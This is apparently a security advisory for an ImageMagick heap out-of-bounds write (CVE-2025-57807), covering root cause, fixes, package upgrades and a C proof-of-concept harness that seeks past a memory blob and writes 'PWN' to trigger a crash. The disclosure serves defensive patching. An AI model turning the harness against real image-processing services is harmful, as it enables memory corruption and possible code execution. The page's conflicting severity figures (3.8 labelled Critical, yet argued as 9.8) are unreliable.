GHSA-23hg-53q6-hqfg CVE-2025-57807
ImageMagick BlobStream Forward-Seek Under-Allocation
- Severity
- 3.8 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.29%
- Chance of exploitation in the next 30 days. Higher than 21.78% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-122 Heap-based Buffer Overflow
- CWE-131 Incorrect Calculation of Buffer Size
- CWE-787 Out-of-bounds Write
- Fix
- Available
- 12 packages have a fixed version
Description
Reporter: Lumina Mescuwa
Product: ImageMagick 7 (MagickCore)
Component: MagickCore/blob.c (Blob I/O - BlobStream)
Tested: 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI
Impact: Heap out-of-bounds WRITE (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution
Executive Summary
For memory-backed blobs (BlobStream), SeekBlob() permits advancing the stream offset beyond the current end without increasing capacity. The subsequent WriteBlob() then expands by quantum + length (amortized) instead of offset + length, and copies to data + offset. When offset ≫ extent, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.
Affected Scope
-
Versions confirmed: 7.1.2-0, 7.1.2-1
-
Architectures: Observed on macOS arm64; architecture-agnostic on LP64
-
Paths: MagickCore blob subsystem — BlobStream (
SeekBlob()andWriteBlob()). -
Not required: External delegates; special policies; integer wraparound
Technical Root Cause
Types (LP64):
offset: MagickOffsetType (signed 64-bit)
extent/length/quantum: size_t (unsigned 64-bit)
data: unsigned char*
Contract mismatch:
-
SeekBlob()(BlobStream) updatesoffsetto arbitrary positions, including past end, without capacity adjustment. -
WriteBlob()testsoffset + length >= extentand grows bylength + quantum, doublesquantum, reallocates toextent + 1, then:q = data + (size_t)offset; memmove(q, src, length);There is no guarantee that
extent ≥ offset + lengthpost-growth. Withoffset ≫ extent,qis beyond the allocation.
Wrap-free demonstration:
Initialize extent=1, write one byte (offset=1), seek to 0x10000000 (256 MiB), then write 3–4 bytes. Growth remains << offset + length; the copy overruns the heap buffer.
Exploitability & Reachability
-
Primitive: Controlled bytes written at a controlled displacement from the buffer base.
-
Reachability: Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract permits it, thus creating a latent sink for first- or third-party encoders/writers.
-
Determinism: Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.
Impact Assessment
-
Integrity: High - adjacent object/metadata overwrite plausible.
-
Availability: High - reliably crashable (ASan and non-ASan).
-
Confidentiality: High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.
-
RCE plausibility: Typical of heap OOB writes in long-lived image services; allocator/layout dependent.
CVSS v3.1 Rationale (9.8)
-
AV:N / PR:N / UI:N - server-side image processing is commonly network-reachable without auth or user action.
-
AC:L - a single forward seek + write suffices; no races or specialized state.
-
S:U - corruption localized to the ImageMagick process.
-
C:H / I:H / A:H - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).
Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics.
Violated Invariant
Before copying
lengthbytes atoffset, enforceextent ≥ offset + lengthwith overflow-checked arithmetic.
The BlobStream growth policy preserves amortized efficiency but fails to enforce this per-write safety invariant.
Remediation (Principle)
In WriteBlob() (BlobStream case):
-
Checked requirement:
need = (size_t)offset + length;→ ifneed < (size_t)offset, overflow → fail. -
Ensure capacity ≥ need:
target = MagickMax(extent + quantum + length, need);
(Optionally loop, doublingquantum, untilextent ≥ needto preserve amortization.) -
Reallocate to
target + 1before copying; then perform the move.
Companion hardening (recommended):
-
Document or restrict
SeekBlob()on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant. -
Centralize blob arithmetic in checked helpers.
-
Unit tests: forward-seek-then-write (success and overflow-reject).
Regression & Compatibility
-
Behavior change: Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).
-
Memory profile: Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.
Vendor Verification Checklist
-
Reproduce with a minimal in-memory BlobStream harness under ASan.
-
Apply fix; verify
extent ≥ offset + lengthat all write sites. -
Add forward-seek test cases (positive/negative).
-
Audit other growth sites (
SetBlobExtent, stream helpers). -
Clarify BlobStream seek semantics in documentation.
-
Unit test: forward seek to large offset on BlobStream followed by 1–8 byte writes; assert either growth to
needor clean failure.
PoC / Reproduction / Notes
Environment
-
OS/Arch: macOS 14 (arm64)
-
Compiler: clang-17 with AddressSanitizer
-
ImageMagick: Q16-HDRI
-
Prefix:
~/opt/im-7.1.2-0 -
pkg-config: from PATH (no hard-coded/usr/local/...)
Build ImageMagick 7.1.2-0 (static, minimal)
./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \
--disable-shared --enable-static --without-modules \
--without-magick-plus-plus --disable-openmp --without-perl \
--without-x --without-lqr --without-gslib
make -j"$(sysctl -n hw.ncpu)"
make install
"$HOME/opt/im-7.1.2-0/bin/magick" -version > magick_version.txt
Build & Run the PoC (memory-backed BlobStream)
poc.c:
Uses private headers (blob-private.h) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage.
// poc.c
#include <stdio.h>
#include <stdlib.h>
#include <MagickCore/MagickCore.h>
#include <MagickCore/blob.h>
#include "MagickCore/blob-private.h"
int main(int argc, char **argv) {
MagickCoreGenesis(argv[0], MagickTrue);
ExceptionInfo *e = AcquireExceptionInfo();
ImageInfo *ii = AcquireImageInfo();
Image *im = AcquireImage(ii, e);
if (!im) return 1;
// 1-byte memory blob → BlobStream
unsigned char *buf = (unsigned char*) malloc(1);
buf[0] = 0x41;
AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0
SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf
// Step 1: write 1 byte (creates BlobInfo + sets offset=1)
unsigned char A = 0x42;
(void) WriteBlob(im, 1, &A);
fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n",
(long long) TellBlob(im), (size_t) GetBlobSize(im));
// Step 2: seek way past end without growing capacity
const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB
(void) SeekBlob(im, big, SEEK_SET);
fprintf(stderr, "[+] after seek: off=%lld len=%zu\n",
(long long) TellBlob(im), (size_t) GetBlobSize(im));
// Step 3: small write → reallocation grows by quantum+length, not to offset+length
// memcpy then writes to data + offset (OOB)
const unsigned char payload[] = "PWN";
(void) WriteBlob(im, sizeof(payload), payload);
// If we get here, it didn't crash
fprintf(stderr, "[-] no crash; check ASan flags.\n");
(void) CloseBlob(im);
DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);
MagickCoreTerminus();
return 0;
}
run:
# Use the private prefix for pkg-config
export PKG_CONFIG_PATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH"
# Strict ASan for crisp failure
export ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0'
# Compile (static link pulls transitive deps via --static)
clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \
$(pkg-config --cflags MagickCore-7.Q16HDRI) \
$(pkg-config --static --libs MagickCore-7.Q16HDRI)
# Execute and capture
./poc 2>&1 | tee asan.log
Expected markers prior to the fault:
[+] after 1 byte: off=1 len=1
[+] after seek: off=268435456 len=1
An ASan WRITE crash in WriteBlob follows (top frames: WriteBlob blob.c:<line>, then _platform_memmove / __sanitizer_internal_memmove).
Debugger Verification (manual)
LLDB can be used to snapshot the invariants; ASan alone is sufficient.
lldb ./poc
(lldb) settings set use-color false
(lldb) break set -n WriteBlob
(lldb) run
# First stop (prime write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) continue
# Second stop (post-seek write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length
(lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset)
# Into the fault; if inside memmove (no locals):
(lldb) bt
(lldb) frame select 1
(lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum
Expected at second stop:
type = BlobStream · offset ≈ 0x10000000 (256 MiB) · length ≈ 3–4 · extent ≈ 64 KiB (≪ offset + length) · quantum ≈ 128 KiB · mapped = MagickFalse · data + offset far beyond base; next continue crashes in _platform_memmove.
Credits
Reported by: Lumina Mescuwa
Affected versions
NuGet
| Package | Vulnerable | Fixed in |
|---|---|---|
| Magick.NET-Q16-HDRI-OpenMP-arm64 | < 14.8.2 |
14.8.2 |
| Magick.NET-Q16-HDRI-OpenMP-x64 | < 14.8.2 |
14.8.2 |
| Magick.NET-Q16-HDRI-arm64 | < 14.8.2 |
14.8.2 |
| Magick.NET-Q16-HDRI-x64 | < 14.8.2 |
14.8.2 |
| Magick.NET-Q16-OpenMP-arm64 | < 14.8.2 |
14.8.2 |
| Magick.NET-Q16-OpenMP-x64 | < 14.8.2 |
14.8.2 |
| Magick.NET-Q16-arm64 | < 14.8.2 |
14.8.2 |
| Magick.NET-Q16-x64 | < 14.8.2 |
14.8.2 |
| Magick.NET-Q8-OpenMP-arm64 | < 14.8.2 |
14.8.2 |
| Magick.NET-Q8-OpenMP-x64 | < 14.8.2 |
14.8.2 |
| Magick.NET-Q8-arm64 | < 14.8.2 |
14.8.2 |
| Magick.NET-Q8-x64 | < 14.8.2 |
14.8.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
Magick.NET-Q16-HDRI-OpenMP-arm64 NuGet → 14.8.2
- dotnet
dotnet add package Magick.NET-Q16-HDRI-OpenMP-arm64 --version 14.8.2
Magick.NET-Q16-HDRI-OpenMP-x64 NuGet → 14.8.2
- dotnet
dotnet add package Magick.NET-Q16-HDRI-OpenMP-x64 --version 14.8.2
Magick.NET-Q16-HDRI-arm64 NuGet → 14.8.2
- dotnet
dotnet add package Magick.NET-Q16-HDRI-arm64 --version 14.8.2
Magick.NET-Q16-HDRI-x64 NuGet → 14.8.2
- dotnet
dotnet add package Magick.NET-Q16-HDRI-x64 --version 14.8.2
Magick.NET-Q16-OpenMP-arm64 NuGet → 14.8.2
- dotnet
dotnet add package Magick.NET-Q16-OpenMP-arm64 --version 14.8.2
Magick.NET-Q16-OpenMP-x64 NuGet → 14.8.2
- dotnet
dotnet add package Magick.NET-Q16-OpenMP-x64 --version 14.8.2
Magick.NET-Q16-arm64 NuGet → 14.8.2
- dotnet
dotnet add package Magick.NET-Q16-arm64 --version 14.8.2
Magick.NET-Q16-x64 NuGet → 14.8.2
- dotnet
dotnet add package Magick.NET-Q16-x64 --version 14.8.2
Magick.NET-Q8-OpenMP-arm64 NuGet → 14.8.2
- dotnet
dotnet add package Magick.NET-Q8-OpenMP-arm64 --version 14.8.2
Magick.NET-Q8-OpenMP-x64 NuGet → 14.8.2
- dotnet
dotnet add package Magick.NET-Q8-OpenMP-x64 --version 14.8.2
Magick.NET-Q8-arm64 NuGet → 14.8.2
- dotnet
dotnet add package Magick.NET-Q8-arm64 --version 14.8.2
Magick.NET-Q8-x64 NuGet → 14.8.2
- dotnet
dotnet add package Magick.NET-Q8-x64 --version 14.8.2
Severity breakdown
CVSS 3.1 3.8
CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L
- Attack vector
- Local
- Attack complexity
- High
- Privileges required
- High
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
Weakness
CWE-122: Heap-based Buffer Overflow
A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().
How to prevent it
- Pre-design: Use a language or compiler that performs automatic bounds checking.
- Architecture and Design: Use an abstraction library to abstract away risky APIs. Not a complete solution.
- Operation, Build and Compilation: Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
- Operation, Build and Compilation: Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
- Implementation: Implement and perform bounds checking on input.
- Implementation: Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.
- Operation: Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.
CWE-131: Incorrect Calculation of Buffer Size
The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.
How to prevent it
- Implementation: When allocating a buffer for the purpose of transforming, converting, or encoding an input, allocate enough memory to handle the largest possible encoding. For example, in a routine that converts "&" characters to "&" for HTML entity encoding, the output buffer needs to be at least 5 times as large as the input buffer.
- Implementation: Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
- Implementation: Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: When processing structured incoming data containing a size field followed by raw data, identify and resolve any inconsistencies between the size field and the actual size of the data (CWE-130).
- Implementation: When allocating memory that uses sentinels to mark the end of a data structure - such as NUL bytes in strings - make sure you also include the sentinel in your calculation of the total amount of memory that must be allocated.
- Implementation: Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.
- Implementation: Use sizeof() on the appropriate data type to avoid CWE-467.
- Implementation: Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity. This will simplify validation and will reduce surprises related to unexpected casting.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences, or buffer allocation routines that automatically track buffer size. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
- Operation, Build and Compilation: Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
- Operation, Build and Compilation: Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
- Operation: Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment. For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
- Implementation: Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
CWE-787: Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.
How to prevent it
- Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.
- Operation, Build and Compilation: Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
- Implementation: Consider adhering to the following rules when allocating and managing an application's memory: Double check that the buffer is as large as specified. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
- Operation, Build and Compilation: Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
- Operation: Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment. For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
- Implementation: Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-j7hp-h8jx-5ppr libwebp: OOB write in BuildHuffmanTable | High Known exploited | Also affects magick.net-q16-x64 |
| GHSA-cvhv-g4rq-3hmw ImageMagick: Memory Leak when providing invalid options to the cli | Medium | Also affects Magick.NET-Q16-arm64 |
| GHSA-422r-8c97-xcg4 ImageMagick: Heap Buffer Over-Write in fx operation | Medium | Also affects Magick.NET-Q16-arm64 |
| GHSA-f5m7-cqgw-8hm7 ImageMagick: Heap Buffer Over-Write in morphology operation when an invalid kernel is provided | Medium | Also affects Magick.NET-Q16-arm64 |
| GHSA-hc76-7mpc-qjqh ImageMagick: Code injection in HTML encoder due to incomplete fix of CVE-2026-25797 | Medium | Also affects Magick.NET-Q16-arm64 |
| GHSA-56m6-8q75-f2rw ImageMagick: Policy Bypass due to an incomplete fix of CVE-2026-49219 | Medium | Also affects Magick.NET-Q16-arm64 |
| GHSA-h5r4-w88w-7ccr ImageMagick: Memory Leak in TIFF encoder when invalid tiff:tile-geometry is specified | Low | Also affects Magick.NET-Q16-arm64 |
| GHSA-h58x-r7f7-rh84 ImageMagick: Memory Leak in ICON decoder when allocation fails | Medium | Also affects Magick.NET-Q16-arm64 |
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